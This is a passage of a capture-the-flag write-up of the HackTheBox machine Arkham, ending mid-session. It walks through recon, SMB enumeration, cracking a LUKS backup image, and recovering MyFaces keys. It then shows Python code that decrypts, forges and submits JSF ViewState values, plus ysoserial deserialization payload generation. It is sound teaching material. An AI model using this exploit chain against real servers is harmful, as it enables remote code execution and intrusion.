HTB: Arkham
In my opinion, Arkham was the most difficult Medium level box on HTB, as it could have easily been Hard and wouldn’t have been out of place at Insane. But it is still a great box. I’ll start with an encrypted LUKZ disk image, which I have to crack. On it I’ll find the config for a Java Server Faces (JSF) site, which provides the keys that allow me to perform a deserialization attack on the ViewState, providing an initial shell. I’ll find an email file with the password for a user in the administrators group. Once I have that shell, I’ll have to bypass UAC to grab root.txt.
Box Info
| Name | Arkham  Play on HackTheBox |
|---|---|
| Release Date | 16 Mar 2019 |
| Retire Date | 10 Aug 2019 |
| OS | Windows  |
| Base Points | Medium [30] |
| Rated Difficulty |  |
| Radar Graph |  |
 |
00:55:34 snowscan |
 |
02:44:27 snowscan |
| Creator |  MinatoTW |
Recon
nmap
nmap shows two http servers (80 and 8080), smb/netbios (135, 139, 445), and some windows RPC ephemeral ports (49666, 49667):
root@kali# nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 15:13 EDT
Nmap scan report for 10.10.10.130
Host is up (0.056s latency).
Not shown: 65528 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
49666/tcp open unknown
49667/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 20.39 seconds
root@kali# nmap -sC -sV -p 80,135,139,445,8080 -oA scans/scripts 10.10.10.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 15:18 EDT
Nmap scan report for 10.10.10.130
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
8080/tcp open http Apache Tomcat 8.5.37
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -9m03s, deviation: 0s, median: -9m03s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-03-16 15:09:28
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.70 seconds
Website - TCP 80
Site
The website is just the IIS default page:
gobuster
gobuster doesn’t turn up anything either:
root@kali# gobuster -u http://10.10.10.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.130/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/03/16 15:13:15 Starting gobuster
=====================================================
=====================================================
2019/03/16 15:17:01 Finished
=====================================================
Website - TCP 8080
Site
The port 8080 site is for a company called Mask, which looks to be advertising securing data:
gobuster
root@kali# gobuster -u http://10.10.10.130:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.130:8080/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/03/16 15:17:36 Starting gobuster
=====================================================
/images (Status: 302)
/css (Status: 302)
/js (Status: 302)
/fonts (Status: 302)
=====================================================
2019/03/16 15:22:50 Finished
=====================================================
Subscription
Many of the links on the site don’t work, or take me to a different spot on the main page. But, as I’m exploring the site, I find one link that does go to another page. Clicking the subscription link takes me to http://10.10.10.130:8080/userSubscribe.faces:
Entering something into the text box and submitting creates this request:
POST /userSubscribe.faces HTTP/1.1
Host: 10.10.10.130:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.130:8080/userSubscribe.faces
Content-Type: application/x-www-form-urlencoded
Content-Length: 257
Cookie: JSESSIONID=B8A2D7C4D12E537BBE38EFCEE1848E8D
Connection: close
Upgrade-Insecure-Requests: 1
j_id_jsp_1623871077_1%3Aemail=0xdf&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D
And returns:
The url .faces, which points to this site’s being hosted on JavaServer Faces framework.
SMB - TCP 445
Enumeration
I’ll start by checking for shares I can connect to with a null session using smbclient:
root@kali# smbclient -N -L //10.10.10.130
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
BatShare Disk Master Wayne's secrets
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.130 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
I could also do this with smbmap, as long as I give it a bad username (see failure the first time, but success on adding -u 0xdf):
root@kali# smbmap -H 10.10.10.130
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.130...
[+] IP: 10.10.10.130:445 Name: 10.10.10.130
Disk Permissions
---- -----------
[!] Access Denied
root@kali# smbmap -u 0xdf -H 10.10.10.130
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.130...
[+] IP: 10.10.10.130:445 Name: 10.10.10.130
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
BatShare READ ONLY
C$ NO ACCESS
IPC$ READ ONLY
Users READ ONLY
\\10.10.10.130\Users
This share gives access to what looks like some of the users directories in \Users. Only the Default and Guest users show up:
root@kali# smbclient -N //10.10.10.130/users
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sun Feb 3 08:24:10 2019
.. DR 0 Sun Feb 3 08:24:10 2019
Default DHR 0 Thu Jan 31 21:49:06 2019
desktop.ini AHS 174 Sat Sep 15 03:16:48 2018
Guest D 0 Sun Feb 3 08:24:19 2019
5158399 blocks of size 4096. 2108260 blocks available
I don’t find much of interest in either one. I made a note when I was solving this to come back and pull NTUSER.DAT (the file containing the data for the HKEY_CURRENT_USER registry hive) if I didn’t see better leads.
\\10.10.10.130\batshare
This share contains only one file:
root@kali# smbclient -N //10.10.10.130/batshare
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Feb 3 08:00:10 2019
.. D 0 Sun Feb 3 08:00:10 2019
appserver.zip A 4046695 Fri Feb 1 01:13:37 2019
5158399 blocks of size 4096. 2108668 blocks available
smb: \> get appserver.zip
getting file \appserver.zip of size 4046695 as appserver.zip (1078.9 KiloBytes/sec) (average 1078.9 KiloBytes/sec)
The zip contains a note and encrypted disk image:
root@kali# unzip appserver.zip
Archive: appserver.zip
inflating: IMPORTANT.txt
inflating: backup.img
root@kali# cat IMPORTANT.txt
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
root@kali# file backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
The note just talks about how important the image is, and confirms the Batman theme of the box with characters Alfred and Bruce.
LUKS Image
Brute Force Luks Password
LUKS is the standard for Linux hard disk encryption. To access the drive image, I’ll need a password. I’ll use bruteforce-luks, which can be installed with apt install bruteforce-luks. This is going to be slow, as LUKS is designed to be resistant to bruteforce. I first tried a few small word lists, and didn’t get anything. Eventually, I targeted the box theme, and used grep to get passwords having to do with Batman:
root@kali# grep batman /usr/share/wordlists/rockyou.txt > rockyou_batman.txt
root@kali# wc -l rockyou_batman.txt /usr/share/wordlists/rockyou.txt
906 rockyou_batman.txt
14344392 /usr/share/wordlists/rockyou.txt
This gives me a much smaller list of works to work from.
Now I’ll run bruteforce-luks with the following options:
-t 10- use 10 threads-f rockyou_batman.txt- list of passwords to try-w batman_state.txt- havebruteforce-luksuse a state file, so that I can stop and resume if necessary-v 30- print the progress every 30 seconds
root@kali# bruteforce-luks -t 10 -f rockyou_batman.txt -w batman_state.txt -v 30 backup.img
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.
Warning: can't open state file, state not restored, a new file will be created.
Tried passwords: 40
Tried passwords per second: 1.333333
Last tried password: batman27
Tried passwords: 60
Tried passwords per second: 1.395349
Last tried password: batman82
Password found: batmanforever
It finds the password in just over a minute.
Mount
Now with access to the file, I’ll mount it so I can see what’s there. First, I’ll use cryptsetup to open the file, with the last argument being what I want to name the opened device:
root@kali# cryptsetup open --type luks backup.img arkham
Enter passphrase for backup.img:
When that finishes, nothing is displayed to the screen, but a new device is available which represents the decrypted drive:
root@kali# ls -l /dev/mapper/
total 0
lrwxrwxrwx 1 root root 7 Aug 5 02:11 arkham -> ../dm-0
crw------- 1 root root 10, 236 Aug 5 02:11 control
Now I’ll mount the new device:
root@kali# mount /dev/mapper/arkham /mnt/arkham/
root@kali# ls /mnt/arkham/
lost+found Mask
Enumeration
Now I can look through the mouted device. It only have one folder, Mask, which contains some images and a pdf, and a folder called tomcat-stuff.
root@kali# find /mnt/arkham/ -type f
/mnt/arkham/Mask/robin.jpeg
/mnt/arkham/Mask/docs/Batman-Begins.pdf
/mnt/arkham/Mask/me.jpg
/mnt/arkham/Mask/joker.png
/mnt/arkham/Mask/tomcat-stuff/web.xml.bak
/mnt/arkham/Mask/tomcat-stuff/web.xml
/mnt/arkham/Mask/tomcat-stuff/server.xml
/mnt/arkham/Mask/tomcat-stuff/tomcat-users.xml
/mnt/arkham/Mask/tomcat-stuff/jaspic-providers.xml
/mnt/arkham/Mask/tomcat-stuff/context.xml
/mnt/arkham/Mask/tomcat-stuff/faces-config.xml
/mnt/arkham/Mask/tomcat-stuff/MANIFEST.MF
/mnt/arkham/Mask/mycar.jpg
The images show that the user is Batman (based on me.jpg and mycar.jpg):
Batman-Begins.pdf is a script for the movie.
The interesting bits come in the tomcat-stuff folder. I already observed that the site on 8080 is running JSF, and this looks to have a bunch of config data. In web.xml.bak (any kind of backup file is usually interesting in CTFs), I find several interesting bits:
1 <?xml version="1.0" encoding="UTF-8"?>
2 <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3 xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
4 xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
5 id="WebApp_ID" version="2.5">
6 <display-name>HelloWorldJSF</display-name>
7 <welcome-file-list>
8 <welcome-file>index.html</welcome-file>
9 <welcome-file>index.htm</welcome-file>
10 <welcome-file>default.html</welcome-file>
11 <welcome-file>default.htm</welcome-file>
12 <welcome-file>default.jsp</welcome-file>
13 </welcome-file-list>
14 <servlet>
15 <servlet-name>Faces Servlet</servlet-name>
16 <servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
17 <load-on-startup>1</load-on-startup>
18 </servlet>
19 <servlet-mapping>
20 <servlet-name>Faces Servlet</servlet-name>
21 <url-pattern>*.faces</url-pattern>
22 </servlet-mapping>
23 <context-param>
24 <param-name>javax.servlet.jsp.jstl.fmt.localizationContext</param-name>
25 <param-value>resources.application</param-value>
26 </context-param>
27 <context-param>
28 <description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description>
29 <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
30 <param-value>server</param-value>
31 </context-param>
32 <context-param>
33 <param-name>org.apache.myfaces.SECRET</param-name>
34 <param-value>SnNGOTg3Ni0=</param-value>
35 </context-param>
36 <context-param>
37 <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
38 <param-value>HmacSHA1</param-value>
39 </context-param>
40 <context-param>
41 <param-name>org.apache.myfaces.MAC_SECRET</param-name>
42 <param-value>SnNGOTg3Ni0=</param-value>
43 </context-param>
44 <context-param>
45 <description>
46 This parameter tells MyFaces if javascript code should be allowed in
47 the rendered HTML output.
48 If javascript is allowed, command_link anchors will have javascript code
49 that submits the corresponding form.
50 If javascript is not allowed, the state saving info and nested parameters
51 will be added as url parameters.
52 Default is 'true'</description>
53 <param-name>org.apache.myfaces.ALLOW_JAVASCRIPT</param-name>
54 <param-value>true</param-value>
55 </context-param>
56 <context-param>
57 <description>
58 If true, rendered HTML code will be formatted, so that it is 'human-readable'
59 i.e. additional line separators and whitespace will be written, that do not
60 influence the HTML code.
61 Default is 'true'</description>
62 <param-name>org.apache.myfaces.PRETTY_HTML</param-name>
63 <param-value>true</param-value>
64 </context-param>
65 <context-param>
66 <param-name>org.apache.myfaces.DETECT_JAVASCRIPT</param-name>
67 <param-value>false</param-value>
68 </context-param>
69 <context-param>
70 <description>
71 If true, a javascript function will be rendered that is able to restore the
72 former vertical scroll on every request. Convenient feature if you have pages
73 with long lists and you do not want the browser page to always jump to the top
74 if you trigger a link or button action that stays on the same page.
75 Default is 'false'
76 </description>
77 <param-name>org.apache.myfaces.AUTO_SCROLL</param-name>
78 <param-value>true</param-value>
79 </context-param>
80 <context-param>
81 <param-name>com.sun.faces.numberOfViewsInSession</param-name>
82 <param-value>500</param-value>
83 </context-param>
84 <context-param>
85 <param-name>com.sun.faces.numberOfLogicalViews</param-name>
86 <param-value>500</param-value>
87 </context-param>
88 <listener>
89 <listener-class>org.apache.myfaces.webapp.StartupServletContextListener</listener-class>
90 </listener>
91 </web-app>
This configuration does not explicitly state that it’s running on the Mask site, but on line 21 it says it matches *.faces urls. On line 28, I get the JSF version, 2.5.2.
Lines 33-34 give the SECRET that is used by the application for encryption, SnNGOTg3Ni0=.
Lines 37-39 show the message authentication code (MAC) algorithm (MAC_ALGORITHM) to be HmacSHA1 and 40-43 show the MAC_SECRET to be the same as the encryption secret.
I spent a fair amount of time reading the [myfaces wiki page](https://cwiki.apache.org/confluence/display/MYFACES2/Secure+Your+Application to understand the settings. A few other things I noted:
Encryption is enabled by default.
I don’t see encryption disabled in this config, so it should be enabled. I also don’t see the encryption algorithm defined.
This uses the default encryption algorithm, DES, so the secret must have a size of eight.
This will all prove useful when I start attacking this application.
Shell as Alfred
JSF Deserialization Background
I did some googling for terms like “JSF exploit” and found a bunch of links referring to ViewState deserialization attacks. The JSF framework uses serialization to keep state on the site. So the server serializes a Java object, and sends it as a hidden field in the webpage to the client. When the client submits, that serialized object is sent back to the server, which can use it to get back the state.
Deserialization is a class of vulnerabilities that is one of the OWASP Top 10. The problem here is that this is allowing the user to submit a serialized object, and that comes with risks. The deserialization process may run something based on the input, and if the user controls this input, then the user can gain execution. This presentation gives a nice overview of Java deserialization risks. This vulnerability is not unlike python pickle deserialization vulnerabilities, like the one from HackTheBox Canape.
I found several overviews of specifically how to attack JSF ViewState like this and this. I also found a tool for payload generation, ysoserial (which not only is a useful tool, but fits the Batman theme).
The added challenge here is that all of the posts I could find talk about how to exploit the ViewState that is configured without encryption / MAC. In fact, the mitigation for these attacks is to use encryption so that the user can’t modify the ViewState without knowing the key.
Strategy
In this case, I have access to the config, including the keys. I’ll summarize what I learned from the config:
- Encryption: Enabled, and default to DES
-
Encryption Key: SnNGOTg3Ni0=
- Authentication: HmacSHA1
- Authentication Key: SnNGOTg3Ni0=
I have ysoserial to do payload generation, but I don’t have anything that will do the rest of the end-to-end attack. I’ll have to write something. Because this has a lot of places that things can go wrong, I’ll take small steps:
- Test what happens when a bad ViewState is submitted.
- Decrypt the ViewState variable to show my encryption key works.
- Build a script that can encrypt the known good ViewState and submit it.
- Generate a payload with
ysoserialthat will ping my host, and the known good ViewState with that in the script. Then submit and get a ping. - Update payload to get reverse shell.
Invalid ViewState
I’ll set Burp to intercept, and submit the form. I get a request that looks like:
POST /userSubscribe.faces HTTP/1.1
Host: 10.10.10.130:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.130:8080/userSubscribe.faces
Content-Type: application/x-www-form-urlencoded
Content-Length: 261
Cookie: JSESSIONID=D8A54B3871DBBA43CBCBA95A59D6F643
Connection: close
Upgrade-Insecure-Requests: 1
j_id_jsp_1623871077_1%3Aemail=0xdf&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RXtNO1NI%2FGme70KtDtngjDm0mNzA9qHjYerxo0jW7zu1DWIHlJqY3Fedt5UA7dKm1%2FZ7jZk%3D
I’ll change one character into the ViewState base64 (for example, that first w to a W, and click Forward. The page crashes:
The error message No saved view state could be found for the view identifier: /userSubscribe.faces confirms it’s because of the change I made. It’s good to know what happens on an invalid submission.
Decrypt ViewState
I’ll start by making sure I can decrypt the unmodified ViewState. I’ll load the subscribe page through burp, and then grab the ViewState either out of the source or by submitting and looking at the post parameters. I have:
javax.faces.ViewState=wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D
I can use a python shell to get a byte stream:
root@kali# python3
Python 3.7.3 (default, Apr 3 2019, 05:39:12)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from base64 import b64decode
>>> from urllib.parse import unquote_plus as urldecode
>>> vs = 'wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D'
>>> urldecode(vs)
'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
>>> bytes = b64decode(urldecode(vs))
>>> bytes
b'\xc0z4\xc2b\xee\xe5\xc7\x88\xb4\x88\xbe#\xb5\xe4\x12-F\x01\xbe!\xd7e\x99\xf3\xde)\x03\xe6x8~\xdbr\x8d\xa3\\L\xb5E\x0cS\xa8\xb6.\xa2I\x8e\xefB\xad\x0e\xd9\xe0\x8c9\xb4\x98\xdc\xc0\xf6\xa1\xe3a\xea\xf1\xa3H\xd6\xef;\xb5\x99\xd2\x81^\xdcgOTf\x9de\x16L\x9c\x82\xb8\xd7\t\xbb\x11'
I know that there’s both encryption and signing. Typically it’s better to encrypt then sign the encrypted bit and attach the signature. I could research how the bytes should work, but I opted to just playing with it. I know that the SHA1 is going to be 20 bytes long (often shown as 40 hex characters). It’s likely appended to either the front or the end.
I’ll import the libraries I need to do an HMAC, and try both. When I guess that the HMAC is at the front, it doesn’t work, as the HMAC of the bytes after the first 20 doesn’t match the first 20 bytes:
>>> from Crypto.Cipher import DES
>>> mac = bytes[:20]
>>> enc = bytes[20:]
>>> HMAC.new(b'JsF9876-', enc, SHA).digest()
b'\x85E\xfc\x1e)]\xb1\xa4\x97:\x12R\xfd\x14\xb7\xc1\x14\x9f\x0e\xf1'
>>> mac
b'\xc0z4\xc2b\xee\xe5\xc7\x88\xb4\x88\xbe#\xb5\xe4\x12-F\x01\xbe'
But if I guess that the HMAC is stored in the last 20 bytes, it matches:
>>> mac = bytes[-20:]
>>> enc = bytes[:-20]
>>> HMAC.new(b'JsF9876-', enc, SHA).digest()
b'\x99\xd2\x81^\xdcgOTf\x9de\x16L\x9c\x82\xb8\xd7\t\xbb\x11'
>>> mac
b'\x99\xd2\x81^\xdcgOTf\x9de\x16L\x9c\x82\xb8\xd7\t\xbb\x11'
>>> HMAC.new(b'JsF9876-', enc, SHA).digest() == mac
True
Nice! Now I can decrypt the payload:
>>> from Crypto.Cipher import DES
>>> d = DES.new(b'JsF9876-', DES.MODE_ECB)
>>> d.decrypt(enc)
b'\xac\xed\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\x03t\x00\x011pt\x00\x12/userSubscribe.jsp\x02\x02'
The output is bunch of bytes, but I can see some strings in there. Additionally, with some research, I can see that Java serialized objects start with the bytes AC ED (see this reference, Exploring Java Serialization section).
Reencrypt ViewState
Why would I want to reencrypt the ViewState I already had? There are lots of methods to try to get execution through Java deserialization. Not all of them will work. In fact, most won’t. So if I can start with a raw payload and write code that will submit to the site, I can then replace that payload with a malicious payload and know that if it fails, it’s not because my code is bad, but rather because the payload isn’t good for this instance.
So I’m going to write the following python script to do the opposite steps from what I did in the terminal above:
#!/usr/bin/env python3
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from urllib.parse import quote_plus as urlencode
bin_vs = b'\xac\xed\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\x03t\x00\x011pt\x00\x12/userSubscribe.jsp\x02\x02'
vs = 'wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D'
d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(bin_vs)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
gen_vs = urlencode(b64encode(enc_payload + sig))
if gen_vs == vs:
print("It worked!")
print(gen_vs)
print(vs)
I’ll start with the binary ViewState (bin_vs) as well as the correct result (vs). I’ll encrypt the binary with DES, then create a HMAC, and put it all together, base64 encoding and then url encoding.
It works:
root@kali# ./arkham1.py
It worked!
wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D
wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D
Just for good measure, I’ll add in code to submit that to Arkham website and make sure I get back the page:
#!/usr/bin/env python3
import requests
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from urllib.parse import quote_plus as urlencode
bin_vs = b'\xac\xed\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\x03t\x00\x011pt\x00\x12/userSubscribe.jsp\x02\x02'
vs = 'wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D'
d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(bin_vs)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
gen_vs = b64encode(enc_payload + sig)
if urlencode(gen_vs) == vs:
print("It worked!")
print(urlencode(gen_vs))
print(vs)
sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
data = {'j_id_jsp_1623871077_1%3Aemail': 'd',
'j_id_jsp_1623871077_1%3Asubmit': 'SIGN+UP',
'j_id_jsp_1623871077_1_SUBMIT': '1',
'javax.faces.ViewState': gen_vs})
if '<p>Subscribe to us</p>' in resp.text:
print("Successfully retrieved page")
I’ll create a session to get the JSESSIONID cookie, and then submit the generated ViewState, and it works:
root@kali# ./arkham_cmd.py
It worked!
wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D
wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D
Successfully retrieved page
Payload
Now I turn to payloads. I’m using ysoserial to generate. I’ll install by downloading the jar from the link on Gihub. To make life easier, I just added a symbolic link to the full jar in /usr/bin so that I can run it with just ysoserial:
root@kali# which ysoserial
/usr/bin/ysoserial
root@kali# file /usr/bin/ysoserial
/usr/bin/ysoserial: symbolic link to /opt/ysoserial/ysoserial-master-SNAPSHOT.jar
If I run it without any arguments, it prints the help:
root@kali# ysoserial
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
Each of those different payloads are methods to attempt to get RCE that will work in different situations.
If i run the first one, it produces a long blob of data. I’ll look at the start of it in hex (using xxd):
root@kali# ysoserial BeanShell1 'ping 10.10.14.11' 2>/dev/null | xxd | head
00000000: aced 0005 7372 0017 6a61 7661 2e75 7469 ....sr..java.uti
00000010: 6c2e 5072 696f 7269 7479 5175 6575 6594 l.PriorityQueue.
00000020: da30 b4fb 3f82 b103 0002 4900 0473 697a .0..?.....I..siz
00000030: 654c 000a 636f 6d70 6172 6174 6f72 7400 eL..comparatort.
00000040: 164c 6a61 7661 2f75 7469 6c2f 436f 6d70 .Ljava/util/Comp
00000050: 6172 6174 6f72 3b78 7000 0000 0273 7d00 arator;xp....s}.
00000060: 0000 0100 146a 6176 612e 7574 696c 2e43 .....java.util.C
00000070: 6f6d 7061 7261 746f 7278 7200 176a 6176 omparatorxr..jav
00000080: 612e 6c61 6e67 2e72 6566 6c65 6374 2e50 a.lang.reflect.P
00000090: 726f 7879 e127 da20 cc10 43cb 0200 014c roxy.'. ..C....L
Note that it starts with aced just like I noticed with the legit serialized binary. There’s a bunch of strings in there, but nothing I want to copy and paste. I could output to a file and then read that in in the python script. Or I could use subprocess to generate the payload from within the script. I’ll do that.
I can play around in the terminal to get the syntax working. This is a good start:
>>> import subprocess
>>> payload = subprocess.check_output(['ysoserial', 'BeanShell1', 'ping 10.10.14.11'])
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ysoserial.payloads.util.Reflections (file:/opt/ysoserial/ysoserial-master-SNAPSHOT.jar) to field java.util.PriorityQueue.queue
WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.util.Reflections
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
>>> payload[:100]
